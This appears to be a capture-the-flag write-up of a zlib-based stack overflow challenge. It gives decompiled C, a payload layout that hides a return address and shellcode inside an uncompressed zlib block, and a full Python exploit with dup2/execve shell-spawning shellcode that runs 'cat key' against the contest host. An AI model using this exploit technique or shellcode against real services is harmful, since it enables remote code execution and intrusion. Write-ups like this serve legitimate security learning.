  char zlib_input_buffer;

  strm.zalloc = 0;
  strm.zfree = 0;
  strm.opaque = 0;
  strm.avail_in = 0;
  strm.next_in = 0;
  z_code = inflateInit_(&strm, "1.2.7", 56);
  if ( !z_code )
  {
    readAll(sock_fd, &strm.avail_in, 4u);
    if ( strm.avail_in <= 0x4000 )
    {
      readAll(sock_fd, &zlib_input_buffer, strm.avail_in);
      strm.next_in = (Bytef *)&zlib_input_buffer;
      strm.avail_out = 16384;
      strm.next_out = (Bytef *)zlib_output_buffer;
      if ( inflate(&strm, 4) != 1 )
        exit(0);
      inflateEnd(&strm);
    }
  }
  return z_code;
}

Workflow:
- Initialize zlib 1.2.7 library
- Read compressed stream size from socket
- Read compressed stream into buffer
- Try to unpack it, exit if the compressed stream is corrupted
- If uncompress is succesful, return from the function

zlib_input_buffer is too small on purpose:

status= dword ptr -2Ch
flush= dword ptr -28h
stream_size= dword ptr -24h
zlib_input_buffer= byte ptr -0Dh
var_C= dword ptr -0Ch
var_8= dword ptr -8
var_4= dword ptr -4
sock_fd= dword ptr 4

So we can smash the stack and get control of the return address. But only if we can actually return from the function which mean the compressed stream we need to send must be valid and still contains our RETIP and shellcode in uncompressed form to be exploitable.

Hopefully, Zlib has many compression levels including the 0 level which means "no compression" at all.

Our exploit payload layout:
[SIZE][ZLIB HEADER][ZLIB BLOCK Level 0][PADDING][RETIP][SHELLCODE][ZIP END BLOCK]

import socket
import zlib
from struct import pack, unpack

host = 'funnybusiness.2013.ghostintheshellcode.com'
port = 49681

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))

plaintext = '000000'
plaintext += pack('<I', 0x0804B0AA)

# dup2(4)
shellcode = "\x31\xc0\x31\xdb\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xb3\x04\xcd\x80\x75\xf6"
# execve shellcode
shellcode += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"

plaintext += shellcode

buffer = zlib.compress(plaintext, 0)

s.send(pack('<I', len(buffer)))

s.send(buffer)
s.send("\ncat key\n")

data = s.recv(16384)
print repr(data)

Result and key:

$ python pwn100.py
'Compressions can be hard at times\n'
Share
Tagged as: , , , Comments Off